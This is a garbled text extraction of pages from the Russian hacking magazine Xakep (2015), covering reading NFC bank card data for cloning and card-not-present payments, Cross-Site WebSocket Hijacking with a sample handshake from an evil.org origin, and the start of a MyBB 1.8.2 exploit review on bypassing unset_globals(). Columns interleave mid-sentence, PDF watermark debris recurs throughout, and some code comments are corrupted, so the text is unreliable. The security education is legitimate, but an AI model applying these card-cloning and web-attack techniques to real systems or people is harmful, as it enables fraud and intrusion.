сер понял, что это не разметка, а обычные данные). Кроме них, еще есть за-

масса. Теперь, возможно, первый пример предыдущей задачки предстанет

 

мена для большинства специальных символов — кавычек, амперсанда и так

перед тобой в ином свете.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Технологии же не стоят на месте, и Visa/MasterCard повсеместно вне-

 

 

 

 

дряют карты с NFC (PayPass, PayWave). Это «удобнее» для конечных юзеров

 

 

 

 

(статистика гласит об увеличении платежей до 25%) и должно было быть

РЕШЕНИЕ

 

 

безопасным. А на практике получается, что нет, об этом не подумали. Если

 

 

есть карта c NFC, то c использованием любого NFC-ридера (например, ко-

Давай отвлечемся от веба и перенесемся поближе к реальному миру. Здесь

торые встраиваются в современные смартфоны) мы можем прочитать дан-

все проще. Банковские карточки все больше и больше наполняют нашу

ные карты. А туда входят: PAN, exp date, Card Holder (имя фамилия), данные

страну, и используют их люди все чаще (если не ошибаюсь, по статисти-

с магнитной полосы, а также информация о последних 20 операциях, прове-

ке, люди с карточками тратят больше денег, нежели с наличкой). А если мы

денных юзером. То есть мы и клон карты можем сделать, и провести оплату

взглянем на уровень их защищенности? У меня лично возникают аналогии

через интернет, где CVV не является необходимым.

с Telnet’ом. Карту можно клонировать, один раз считав данные с магнитной

Добавлю сюда еще, что данные мы можем получать удаленно. Так, тех-

полосы. И единственное, что нас может остановить, — PIN-код.

нология работает на расстоянии нескольких сантиметров, но с правильным

 

С другой стороны, все данные, что нужны для проведения платежей в ин-

оборудованием можно дотянуть до одного метра. И причем ведь можно

тернете: PAN (номер карты), expiration date и CVV (три цифры на обратной

было сделать лучше...

стороне), написаны на самой карте. И при этом по стандартам некоторых

Чтобы обезопасить себя и свою карту, могу порекомендовать стереть CVV

компаний ты должен отдать свою карту продавцу, дабы тот удостоверился

с карты, подключить 3D Secure и купить кошелек с металлической сеткой.

в твоей подписи. Но если добавить классическую проблему, что обычные

Если ты счастливый обладатель смартфона с NFC, то можешь сам почи-

люди даже не в курсе возможных мошенничеств с картами, то все становит-

тать инфу со своей карты с помощью приложения Banking card reader (goo.

ся очень печально. «Безопасность? Не, не слышал».

gl/7dmjrH). Презентация на тему с Hackito Ergo Sum 2012: goo.gl/omSbfi.

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Easy Hack

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w47Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

CROSS-SITE WEBSOCKET HIJACKING

РЕШЕНИЕ

Но вернемся обратно к вебу, точнее к его будущему. В HTML5 появилось множество технологий, в том числе и такая технология, как веб-сокеты.

Веб-сокеты — это такой протокол, который позволяет установить полнодуплексное соединение между браузером и сервером по протоколу TCP. То есть вместо обычного бессессионного HTTP, с его «запрос-ответ», мы имеем обычное TCP-подключение, где любая из сторон может слать данные, и это все в рамках одной TCP-сессии.

Несмотря на невысокую распространенность применения веб-сокетов, все современные браузеры их поддерживают (даже ИЕ).

Далее немного фактов. Веб-сокеты работают на тех же портах, что и сам веб-сервер, HTTPS поддерживает. Они обозначаются схемой «ws://» и «wss://» для защищенного подключения. Данные внутри веб-сокета (после установки подключения) не шифруются, а только маскируются.

Для того чтобы установить подключение, веб-сервер посылает GETзапрос на веб-сервер для инициализации соединения. Основное отличие этого запроса от обычного — дополнительные заголовки (заголовки после

Host):

GET / HTTP/1.1

Host: victim.ru

Origin: http://evil.org

Sec-WebSocket-Key G54JzsUvsF7FWpzopP2HRw==

Sec-WebSocket-Version: 13

Connection: Upgrade

Upgrade: websocket

Последние два указывают браузеру на переход на веб-сокет. Далее версия протокола и случайное значение, для защиты от «поддельных запросов» (хотя не очень понятно, какая там атака может быть). Очень важный заголовок — Origin, указывает, с какого сайта было инициализировано подключение.

Ответ от сервера будет следующим:

HTTP/1.1 101 Web Socket Protocol Handshake

Access-Control-Allow-Credentials: true

Access-Control-Allow-Headers: content-type, x-websocket

-extensions, x-websocket-version, x-websocket-protocol

Access-Control-Allow-Origin: http://victim.ru

Sec-WebSocket-Accept: 5Lw1/qhX7PKx66t9+Rn+bV3x4Jg=?

Upgrade: websocket

Последние два заголовка аналогичны. Далее три заголовка в стиле CORS, которые указывают возможность отсылки кредам дополнительных заголовков, а также с какого домена это разрешено. Но фактически эта троица ни на что не влияет, потому как сразу после получения ответа создается веб-сокет (то есть обычное TCP-подключение), где уже передается текст или данные. Формат пакетов вполне минимален: несколько бит для фрагментации, маски и размера данных в пакете, а далее — данные.

И самый важный момент — веб-сокет изначально спроектирован для межсайтового взаимодействия, а потому SOP фактически на него не действует.

Еще, возможно, интересен вопрос о том, как мы можем узнать (с точки зрения пентестера), поддерживаются ли веб-сокеты в данном конкретном приложении. Но были попробованы различные методы, и единственный вы-

Тулза для тестирования веб-сокетов в составе IronWASP

Трафик от подключения по веб-сокету

явленный вариант — протыкать указанным выше запросом все пути на сайте (так как, например, на запрос к корню сервер вернет нам 404, а на какойнибудь web/char — разрешение на коннект).

О’кей, теперь перейдем к самой атаке на сокеты с таким забавным на-

званием, как Cross-Site WebSocket Hijacking. Она на самом деле проста.

Суть ее в том, что мы с нашего сайта (origin’а) можем создать веб-сокеты с атакуемым веб-приложением от имени юзера (зашедшего на наш сайт). Тут ведь в чем дело: во-первых, инициировать создание веб-сокета к атакуемому веб-приложению мы можем с любого сайта. А во-вторых, при инициализирующем запросе автоматически подставятся куки (или HTTP-аутентификация), так как это обычный GET-запрос, только с дополнительными заголовками. Фактически получается, что это обычная CSRFатака, только на выходе мы имеем веб-сокет, с помощью которого можем общаться с веб-приложением от имени юзера.

Теперь немного о тонкостях. Как ты видел в ответе от сервера, там есть различные заголовки. Например, Access-Control-Allow-Origin, который должен был бы защищать юзера: если его браузер получает в этом поле другой сайт, чем тот, с которого мы инициализируем веб-сокет, то браузер должен веб-сокет не устанавливать. Но, увы, ни на что заголовок не влияет. Получается, что вся ответственность за защиту лежит на самом веб-приложении. Как вариант, оно должно проверять Origin из клиентского запроса и, если он похож на нужный, только тогда разрешать подключение. Тут, правда, есть еще тонкость, что веб-сокеты можно использовать и без браузера, с обычных приложений, но тогда заголовка Origin уже не будет.

Еще одно решение: поскольку CSWSH — подобие CSRF-атаки, то для защиты от нее мы можем использовать аналогичные токены для защиты от нелегального подключения.

Итого, так как методы защиты типичные, то и методы обхода их нам уже знакомы.

Возможно, у тебя возник вопрос: а что нам CSWSH может дать? С одной стороны, ничего универсального. Это не XSS, где мы с JS можем творить чудеса. Несмотря на название, лучше воспринимать это как что-то похожее на CSRF. С другой стороны, если функционал приложения через веб-сокеты велик, то, учитывая возможность и слать запросы, и получать ответы, мы можем сделать очень многое.

И немного о практике. К сожалению, всеми любимый Burp (1.6) умеет лишь снифать передаваемые данные, а отправлять произвольные запросы в веб-сокет не умеет. Зато это умеют делать ZAP и гораздо менее известный продукт — IronWASP (www.ironwasp.org). Для тестирования самой атаки можно воспользоваться и онлайн-сервисом goo.gl/vMiOsu.

Спасибо за внимание и успешных познаний нового!

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

48 m

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

Борис Рютин, ЦОР dukebarman.pro, b.ryutin@tzor.ru, @dukebarman

Взлом

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

ХАКЕР 01 /192/ 2015

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

АНАЛИЗ СВЕЖЕНЬКИХ УЯЗВИМОСТЕЙ

В сегодняшнем обзоре мы пройдемся по различным веб-уязвимостям в одном популярном проекте, а также разберем простую, но при этом довольно интересную уязвимость в Androidустройствах от компании Samsung и то, как решение для улучшения безопасности может содержать ошибку, что приведет лишь к дополнительному вектору атаки.

MYBB 1.8.2

CVSSv2: N/A

Дата релиза: 8 июля 2014 года

Автор: Taoguang Chen, Avinash Kumar Thapa

CVE: N/A

Думаю, бесплатный PHP-движок для создания форумов MyBB знаком многим, плюс мы его освещали на страницах нашего журнала, поэтому перейдем к самому интересному — уязвимостям.

В случае, когда register_globals включены, MyBB будет вызывать функцию unset_globals(), которая будет удалять все глобальные переменные в PHP, пришедшие из массивов $_POST, $_GET, $_FILES и $_ COOKIE:

if(@ini_get("register_globals") == 1)

{

$this->unset_globals($_POST);

$this->unset_globals($_GET);

$this->unset_globals($_FILES);

$this->unset_globals($_COOKIE);

}

...

}

...

function unset_globals($array)

{

if(!is_array($array))

{

return;

}

foreach(array_keys($array) as $key)

{

//Двойное удаление из-за zend_hash_del_key_or_index

в PHP <4.4.3 и <5.1.4

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

ХАКЕР m

01 /192/ 2015

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Обзор эксплойтов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w49Click

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

unset($GLOBALS[$key]);

unset($GLOBALS[$key]);

}

}

Но эту функцию мы можем обойти.

Сделаем небольшую проверку — отправим запрос вида foo.php?_COOKIE=1, в результате мы создадим переменную

$_GET['_COOKIE'].

В результате, когда отправится переменная $_GET['_ COOKIE']=1, функция уничтожит $GLOBALS['_COOKIE']:

request_order = "GP"

Это рекомендованная настройка в php.ini. При такой

установке переменная

$_REQUEST содержит только $_GET

и $_POST массивы без $_COOKIE. Это позволяет нам отправить

$_COOKIE['GLOBALS']

и обойти функцию unset_globals()

в PHP 5.3.

 

Теперь рассмотрим один интересный метод:

class MyBB {

...

function __destruct()

$this->unset_globals($_GET);

...

}

...

function unset_globals($array)

{

...

foreach(array_keys($array) as $key)

{

unset($GLOBALS[$key]);

Это означает, что массив $_COOKIE был удален. Но это также означает, что все глобальные переменные, зарегистрированные PHP, из массива $_COOKIE не будут удалены, потому что не будут обработаны:

{

if(function_exists=("run_shutdown"))

{

run_shutdown();

}

}

}

Для нас представляет интерес функция run_shutdown():

function run_shutdown()

{

global $config, $db, $cache, $plugins,

$error_handler, $shutdown_functions,

$shutdown_queries, $done_shutdown, $mybb;

...

$this->unset_globals($_COOKIE);

}

...

}

...

function unset_globals($array)

{

if(!is_array($array))

{

return;

}

// а у

и

 

ун и shutdown,

е ли

а

а

и ее

if(is_array($shutdown_functions))

{

foreach($shutdown_functions as function)

{

call_userfunc_array

($function['function'],

$function['arguments']);

}

}

$done_shutdown = true;

Для массивов $_GET и $_FILES все будет аналогично,

 

 

}

 

 

 

и они будут удалены с помощью unset_globals(), а соот-

 

 

 

$shutdown_functions инициализируется

 

ветствующие глобальные переменные, зарегистрированные

 

 

Переменная

 

PHP, — нет.

 

 

с помощью функции add_shutdown() в init.php:

 

Теперь отправим запрос вида $_POST['GLOBALS'], $_

//

анови

shutdownун ии, о о е ну но

 

FLIES['GLOBALS'] или $_COOKIE['GLOBALS'].

 

В этом

случае данная функция удалит массив

 

 

за у и

ло ал но

 

 

$GLOBALS['GLOBALS']. Так как это автоматическая глобальная

add_shutdown('send_mail_queue');

 

переменная и она связывает глобальную символьную табли-

 

 

 

 

 

 

цу, мы можем использовать $GLOBALS['key'] для получения

 

 

Но сама функция add_shutdown() содержит ошибки:

 

доступа к глобальной переменной внутри всего скрипта. Это

function add_shutdown($name, $arguments=array())

 

происходит из-за нарушения связи массива и таблицы, так

 

как массив был удален. Помимо этого, переменные из мас-

 

 

{

 

 

 

сивов $_GET, $_FILES и $_COOKIE не будут уничтожены.

 

 

global $shutdown_functions;

 

 

Разработчики знали об этой проблеме и подстрахова-

 

 

if(!is_array($shutdown_functions))

 

лись:

 

 

 

 

{

 

 

 

$protected = array("_GET", "_POST", "_SERVER",

 

 

 

$shutdown_functions = array();

 

 

 

}

 

 

 

"_COOKIE", "_FILES", "_ENV", "GLOBALS");

 

 

 

if(!is_array($arguments))

 

 

foreach($protected as $var)

 

 

 

{

 

 

 

{

 

 

 

 

$arguments = array($arguments);

 

 

if(isset($_REQUEST[$var]) ||

 

 

 

}

 

 

 

isset($_FILES[$var]))

 

 

 

if(is_array($name) && method_exists

 

WARNING

{

 

 

 

 

($name[0], $name[1]))

 

 

die("Hacking attempt");

 

 

 

{

 

 

 

}

 

 

 

 

$shutdown_functions[] =

 

Вся информация предо-

}

 

 

 

 

 

array('function' => $name,

 

ставлена исключительно

 

 

 

 

 

 

'arguments' => $arguments);

 

в ознакомительных

К их несчастью и нашей удаче, есть небольшой обход такой

 

 

return true;

целях. Ни редакция,

защиты.

 

 

 

 

}

 

 

ни автор не несут от-

$_REQUEST

представляет собой ассоциативный мас-

 

 

else if(!is_array($name) &&

 

ветственности за любой

сив, содержащий смесь из данных массивов $_GET, $_POST

 

 

 

function_exists($name))

возможный вред, при-

и $_COOKIE.

 

 

 

 

{

 

 

чиненный материалами

Но в PHP версии от 5.3 есть опция под эту переменную:

 

 

$shutdown_functions[] =

 

данной статьи.

Соседние файлы в папке журнал хакер